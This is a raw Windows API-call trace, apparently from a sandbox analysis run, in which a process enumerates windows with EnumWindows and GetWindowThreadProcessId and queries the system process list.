[0244.874] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0244.874] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0244.874] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0244.874] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0244.875] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0244.875] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0244.876] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0244.877] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0244.877] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0244.877] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0244.877] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0244.877] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0244.877] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0244.878] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0244.878] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0244.878] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0244.878] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0244.878] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0244.878] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0244.879] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0244.879] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0244.879] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0244.879] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0244.880] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0244.880] GetWindowThreadProcessId (in: hWnd=0x30164, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0244.880] GetWindowThreadProcessId (in: hWnd=0x30158, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0244.880] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0244.880] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0244.880] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0244.880] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0244.881] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0244.881] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0244.881] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0244.881] GetWindowThreadProcessId (in: hWnd=0x200a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0244.881] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x578
[0244.882] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0244.882] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x530
[0244.882] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.882] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x508
[0244.882] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.882] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0244.882] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.883] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.883] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0244.884] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.884] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.884] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0244.884] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0244.884] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x448
[0244.885] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0244.885] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0244.885] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0244.885] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.885] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0244.886] GetWindowThreadProcessId (in: hWnd=0x102d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf9c
[0244.886] GetWindowThreadProcessId (in: hWnd=0x102cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x808
[0244.886] GetWindowThreadProcessId (in: hWnd=0x1026e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0244.886] GetWindowThreadProcessId (in: hWnd=0x150270, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0244.886] GetWindowThreadProcessId (in: hWnd=0x50114, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0244.887] GetWindowThreadProcessId (in: hWnd=0x4011e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0244.887] GetWindowThreadProcessId (in: hWnd=0x1026a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0244.887] GetWindowThreadProcessId (in: hWnd=0x10266, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0244.887] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0244.887] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0244.887] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0244.888] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0244.888] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0244.888] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0244.888] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0244.888] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0244.888] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0244.888] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0244.889] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0244.889] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0244.889] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0244.889] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0244.889] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0244.889] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0244.889] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0244.890] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0244.890] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0244.890] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0244.890] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0244.890] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0244.890] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0244.890] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0244.891] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0244.891] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0244.891] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0244.891] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0244.891] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0244.891] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0244.891] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0244.892] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0244.892] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0244.892] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0244.892] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0244.892] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0244.892] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0244.893] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0244.893] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0244.893] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0244.893] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0244.893] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0244.894] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0244.894] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0244.894] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0244.894] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0244.894] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0244.894] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0244.895] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0244.895] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0244.895] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0244.895] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0244.895] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0244.896] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0244.896] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0244.896] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0244.896] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0244.896] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0244.973] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0244.973] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0244.974] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0244.974] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0244.974] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0244.974] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0244.974] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0244.974] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0244.975] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0244.975] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0244.975] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0244.976] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0244.976] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0244.976] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0244.992] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0246.735] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0247.217] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x12ee0) returned 0x0
[0247.232] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x12ee0) returned 0x0
[0247.239] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x12ee0) returned 0x0
[0247.245] EnumWindows (lpEnumFunc=0x1b1a2a5c, lParam=0x0) returned 1
[0247.321] GetWindowThreadProcessId (in: hWnd=0x3013c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0247.322] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.322] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.322] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.322] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.322] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0247.322] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.322] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0247.322] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0247.322] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.322] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.323] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.323] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.323] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.323] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.323] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.323] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.323] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0247.323] GetWindowThreadProcessId (in: hWnd=0x500a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.323] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.324] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf8c
[0247.324] GetWindowThreadProcessId (in: hWnd=0x102ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4e4
[0247.324] GetWindowThreadProcessId (in: hWnd=0x1026c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0247.324] GetWindowThreadProcessId (in: hWnd=0x302d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0247.324] GetWindowThreadProcessId (in: hWnd=0x4015e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0247.324] GetWindowThreadProcessId (in: hWnd=0x50116, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0247.324] GetWindowThreadProcessId (in: hWnd=0x6011a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0247.324] GetWindowThreadProcessId (in: hWnd=0x900a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.325] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.325] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.325] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.325] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.325] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.325] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.325] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.325] GetWindowThreadProcessId (in: hWnd=0x10268, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0247.325] GetWindowThreadProcessId (in: hWnd=0x10264, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0247.326] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0247.326] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0247.326] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0247.326] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
